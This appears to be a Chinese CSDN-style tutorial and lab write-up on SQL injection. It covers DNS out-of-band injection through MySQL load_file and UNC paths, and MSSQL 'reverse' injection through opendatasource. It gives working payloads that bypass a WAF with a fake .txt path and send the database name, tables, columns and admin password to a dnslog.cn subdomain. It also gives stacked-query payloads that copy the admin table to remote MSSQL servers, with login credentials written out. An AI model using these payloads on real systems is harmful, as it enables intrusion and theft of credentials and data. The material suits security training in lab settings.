Mssql注入——dns注入,反弹注入

DNS注入

DNS注入原理

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

load_file函数的作用

用于读取文件内容,并返回输出

load_file函数是什么

load_file 读取文件函数,读取的内容返回为字符串输出。

load_file函数在注入的作用

利用读取注入的报错信息,然后返回报错信息(显错注入)

DNS注入限制

server接收有大小限制

DNS是什么

是一个域名系统,是一项网络服务,它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网,DNS注入就是利用了DNS这个通道。

load_file函数的使用限制

返回内容有限制大小,server有接受大小限制,文件必须在服务器上,指定路径要完整,必须有file权限,所有字节可读.....

完整路径和绝对路径的关系

完整路径就是绝对路径

相对路径和绝对路径的关系

绝对路径从根目录开始,相对路径就是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系

DNS注入利用的场景

在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看

'\\\\'是什么意思?

在'\\\\'中第一个和第四个都为转义字符,"\\"变为一个字符串的反斜杠,"\\\\"为两个字符串的反斜杠,为"\\"

UNC路径是什么

通用命名规则,也称通用命名规范、通用命名约定,类似于\\softer这样形式的路径

UNC的格式是什么样的

格式 \\server\sharename\directory\filename

对所有数据库有效吗?

只对mysql有效,但是其他的应该也可以尝试

concat的作用

用于拼接,构成一个有效的访问路径

'\\\\'有什么作用

'\\\\'是UNC的访问路径格式

为什么UNC访问必须要符合上面写的标准格式吗?

其实并不是,在第一开始UNC路径,后面不断的更新迭代,其实写//也是可以用的

例如: //a.baidu.com/abc 也是可以的

DNS注入可以用在Linux的机器上面吗?

不可以,因为这里其实依靠的是UNC,只有Windows有这个

为什么load_file无法读取文件。

这里需要去mysql配置文件加一个配置

在my.ini 的最下面加一行

secure_file_priv=

DNS平台到哪里找?

一般来说我们用ceye.io

DNSLog PlatformDNSLog平台icon-default.png?t=M1L8http://dnslog.cn/

注:能够使用DNS注入的网站,代表都可以使用load_file去读取文件,实际上可以尝试去读取一些敏感文件,也许运气好,读到了管理员的账号密码,或者是一些敏感信息其实都是可能的!

进入靶场,

 看代码,发现传参的点应该是id

宠物猫 异国短毛猫 纯种猫 加菲猫 波斯猫 辛巴猫舍 纯种双色/梵文波斯、异国小猫 CFA注册猫舍纯种猫 猫舍 ,辛巴猫舍为CFA注册猫舍,繁育纯种波斯猫和异国短毛梵纹猫icon-default.png?t=M1L8http://59.63.166.75:8014/index3.php?id=1?id=1回显是正常的

测试一下是否能够显错,用?id=1 and 1=1

 

有waf(安全狗),waf是网页的安全软件,可以防止输入恶意的传参来获取一些敏感信息:

绕过方法可以用txt,jpg文件格式进行绕过,因此对于不存在的txt文件进行传参,会传给前面的文件,从而绕过waf。

使用index3.php/1.txt?id=1 and 1=1 成功绕过

 打开 DNSLog Platform 复制随机的cn  

vpzc5r.dnslog.cn

index3.php/1.txt?id=1 and load_file(concat('//',database(),'.vpzc5r.dnslog.cn/123'))

得到了库名 mangzhu

 ?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.vpzc5r.dnslog.cn/123'))

得到了表名admin

  ?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.vpzc5r.dnslog.cn/123'))

得到了表名news

?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.vpzc5r.dnslog.cn/123'))

 ?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.vpzc5r.dnslog.cn/123'))

 http://59.63.166.75:8014/index3.php/1.txt?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 2,1),'.vpzc5r.dnslog.cn/123'))

 

同理news表中的字段有id、content。

index3.php/1.txt?id=1 and load_file(concat('//',(select password from mangzhu.admin),'.vpzc5r.dnslog.cn/123'))

可以看到flag就在admin表中的password里

 1flag1good1

Mssql反弹注入

mssql反弹注入原理

依靠opendatasource函数,把查询出的数据发送到MSSQL服务器上。

DNS注入和mssql注入相同点

都是用了特殊函数,都将得到的信息输出传到外部,一个是DNS域,一个是mssql服务器上

猜数据时为什么不能用数字

根据了MSSQL的特性,虽然不能用数字但可用null和字母填充

%23能在mssql中使用吗

不能,%23是mysql特有的注释。

mssql注释有哪些

 -- 可以用来当注释

用字母填充时有什么注意的

要加单引号

MSSQL有系统自带库吗

有 为master.dbo.sysdatabase

反弹注入满足的条件

能否堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句

为什么反弹注入开头不是select?

因为反弹注入是在我们的mssql服务器上插入我们子查询报错信息的语句,所以用insert into

xtype='U' 是什么?

设置查找用户建立的数据表

可以自己搭建一个mssql服务器接受数据吗

可以,但是要一个公网ip,有点不方便

在云服务器上搭建的接受数据库里的数据字段要和靶场的一样吗

要查询数据表字段数量必须和云服务器上面搭建的数据字段数量要相同

为什么要一个公网ip

因为如果设置在内网的话就访问不到

MSSQL的系统自带表是什么

Sysobjects 和mysql的不同

为什么不能直接查询表里的字段

要添加id参数,参数可在查询语句里看到

为什么反弹注入注入点摆明3个字段,但是设置三个字段无法插入

注入点三个字段和我们想要的表格的字段数量可不一定相同

反弹注入使用情况

没有回显的注入,支持opendatasource函数

如何通过系统自带库查询数据库名

select name from dbo.sysdatabases 

如何通过系统自带库查询表名(查询用户建立的数据表)

select name,id from dbo.sysobjects where xtype=’U’ 

如何通过系统自带库查询字段名(查询表的时候记录需要表的id值)

select name,id from dbo.syscolumns where id=245575913

如何查询当前库名

select db_name()

 来让我们进入靶场吧!!!!

http://o9pz8015.ia.aqlab.cn/?id=1icon-default.png?t=M1L8http://o9pz8015.ia.aqlab.cn/?id=1

 先尝试正常的注入 and 1=1

 看来是字符串型的,需要闭合

http://o9pz8015.ia.aqlab.cn/?id=1' and 1=1 -- qwe

 

 回显正常,存在注入点,可以来测测字段字段数了

 由此可见,有三个字段数。

接下来看看显错位,下来使用union select来查询

 

啊偶,看来是不行的 ,根据了MSSQL的特性,虽然不能用数字但可用null和字母填充

http://o9pz8015.ia.aqlab.cn/?id=1'  union all select null,null,null from admin -- qwe

 尝试 

?id=1' union all select 1,'a','b' -- qwe

 

 由此可以判断有数据 第一个是数字类型,第二、三个是字符串类型

那就来查询表名看看

http://o9pz8015.ia.aqlab.cn/?id=1' union select null,table_name,null from information_schema.tables -- qwe

 尝试查询列名

 ?id=1' union select 1,column_name,null from information_schema.columns where table_name='admin'-- qwe

 通过系统自带库查询表名(查询用户建立的数据表)

 ' union select id,name,null from sysobjects where xtype='U' -- qwe

 查询字段名

' union select id,name,null from syscolumns where id='1977058079' -- qwe 

 可以尝试查询flag

' union select null,token,null from admin -- qwe  其他的会报错

 flag

zkaq{e9c9e67c5}

 还有另一种方法,或许会更好使用~~~

自己搭建mssql服务器接受数据

server=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称
把 (select查询得到的数据) 有dbo权限插入 (链接地址=SQL5009.webweb.com,端口=DB_14A5E44_zkaq_admin,账号=zkaqzkaq,密码=DB_14A5E44_zkaq)的数据库(DB_14A5E44_zkaq)的表(temp)里

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe

使用堆叠注入;将MSSQL查询和MYSQL查询写在一起 

';insert into opendatasource('sqloledb','server=sql5075.site4now.net,1433;uid=db_a7e334_zkaqnf66664_admin;pwd=zkaqnf66664;database=db_a7e334_zkaqnf66664').db_a7e334_zkaqnf66664.dbo.wjj123 select*from admin -- qwe 

 

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值